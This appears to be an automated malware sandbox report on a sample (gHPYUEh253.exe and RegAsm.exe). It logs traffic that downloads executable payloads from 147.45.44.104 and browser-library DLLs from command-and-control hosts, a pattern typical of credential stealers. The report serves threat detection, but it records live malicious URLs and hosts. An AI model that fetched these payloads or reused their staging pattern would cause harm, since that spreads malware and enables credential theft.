Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 194.58.114.223Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d0502b12496_MKna.exe#main HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66c9d3bd31e56_otraba.exe#kisotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.190.41Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/sqlite3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4Ak49WQH0GE3Nr.mp3 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: joxi.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/freebl3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/mozglue.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/msvcp140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/nss3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/softokn3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/vcruntime140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: file-link-iota.vercel.app
Source: global traffic	DNS traffic detected: DNS query: 240812161425945.tyr.zont16.com
Source: global traffic	DNS traffic detected: DNS query: cdn.discordapp.com
Source: global traffic	DNS traffic detected: DNS query: yip.su
Source: global traffic	DNS traffic detected: DNS query: stadiatechnologies.com
Source: global traffic	DNS traffic detected: DNS query: joxi.net
Source: global traffic	DNS traffic detected: DNS query: aldiablo.cl

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: awwardwiqi.shop

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: public, max-age=0, must-revalidateContent-Length: 39Content-Type: text/plain; charset=utf-8Date: Fri, 30 Aug 2024 04:17:03 GMTServer: VercelStrict-Transport-Security: max-age=63072000; includeSubDomains; preloadX-Vercel-Error: NOT_FOUNDX-Vercel-Id: iad1::lktx8-1724991423607-15b9d41d3a8aConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 30 Aug 2024 04:18:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.4.45Cache-Control: no-cacheVary: Accept-LanguageVary: Accept-LanguageCF-Cache-Status: BYPASSSet-Cookie: js=QpDldIl5LkLq6WuNacY7rwfjeNMEZg50kWPvXbrvYmqkO0rlV1bMJcgMkkE0u4RiXcbS7dlCiP0N5KAbOWTEi3; path=/Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1czbCMTQzhMLI9wUQ%2B1RaGOiNUajY04QvdkxBr%2Fv%2BPnxyGFIZgfF6ZIXpvaUCpWIAbRzsM4G51UgB7eLFZet2%2FiVXtBFNFJtkNRGeTKh%2BxZ4KmEU1Biufd8bBg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8bb1f9b47f8f7c6f-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 33 34 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 74 94 cf 8e db 36 10 c6 ef 7e 0a 56 17 49 85 2c 7a b7 0e 90 d6 92 80 a4 09 0a f4 90 f4 90 1c 0a c3 28 b8 14 2d 73 57 16 15 92 5e af 91 0d b0 f1 06 41 8b 2d 10 a0 b9 f5 0d 7a 73 36 eb d6 89 ff 04 e8 13 0c 5f a1 4f 52 50 b2 9d 14 41 75 10 21 ce 37 3f 72 46 fc 18 7d 71 ef e1 b7 8f 7e fc e1 3e 1a e8 61 9e 34 a2 dd c0 48 9a 34 10 42 28 1a 32 4d 10 1d 10 a9 98 8e 9d 91 ee 37 6f 3b db 90 e6 3a 67 c9 f7 e2 8c a3 7f 2e 5e 23 73 09 37 b0 81 37 b0 86 99 79 85 e0 83 b9 80 0d bc 35 17 30 83 15 ac 60 86 e0 06 96 e6 15 32 cf e1 bd b9 80 05 ac cd cf b0 31 53 d8 c0 35 82 05 aa 92 57 30 b7 00 64 5e c0 0c de c1 b2 4a 5e 20 f8 00 1b 9b 38 37 53 58 44 b8 5e ba de 46 ce 8b 13 34 90 ac 1f 3b b8 4f 4e 39 15 45 c8 a9 70 90 64 79 ec a8 81 90 9a 8e 34 b2 f3 0e d2 93 92 c5 0e 1f 92 8c e1 b3 66 35 f7 29 a6 4e d1 93 9c a9 01 63 da d9 71 31 4d 8b f0 58 9c f1 50 8e 30 51 8a 69 85 a9 52 b8 dd 6a 87 54 29 27 69 d4 10 45 25 2f 75 4d f4 fa a3 82 6a 2e 0a 8f 07 2a 10 41 16 c8 80 04 43 ff 29 ef ba df 09 91 e5 ec 4e 41 f2 89 e6 54 3d 3c 3a 66 54 bb bd 58 76 78 57 f6 62 fb 3a 3f df e7 fb 4f 2b 60 05 b5 a1 f0 49 5c 0f e7 e7 dd 9e 1f 96 23 35 f0 88 cc 46 43 56 68 e5 3f 0b aa 60 1e 1f 7c 59 b0 31 ba 47 34 f3 fc 0e 89 55 48 25 23 9a dd cf 99 Data Ascii: 34ct6~VI,z(-sW^A-zs6_ORPAu!7?rF}q~>a4H4B(2M7o;:g.^#s77y50`21S5W0d^J^ 87SXD^F4;ON9Epdy4f5)Ncq1MXP0QiRjT)'iE%/uMj.*AC)NAT=<:fTXvxWb:?O+`I\#5FCVh?`\|Y1G4UH%#

Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Http://147.45.68.138:80/sql.dllent-Disposition:
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotr
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotr4
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrC:
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrL
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrapp/
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrll
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrp
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrsv
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF501D000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796562258.0000013EF5171000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF501D000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF501B000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF501D000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrC:
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrj
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrx
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exe
Source: RegAsm.exe, 0000000B.00000002.2418352695.0000000027373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exeH
Source: RegAsm.exe, 0000000B.00000002.2418352695.0000000027373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exen
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exexe
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exexeU
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3254000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space4
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacea
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceh
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacep
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacer
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacesotr
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacexe
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spaceC:
Source: gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spaceT
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spacelb
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spacem
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spacer
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe.
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe/
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exer
Source: gHPYUEh253.exe, 00000000.00000003.1772591267.0000013EF50B4000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32E8000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#main
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#main$
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#mainC:
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#mainL
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#mainQw
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#mainSv
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#mainUw
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#maina
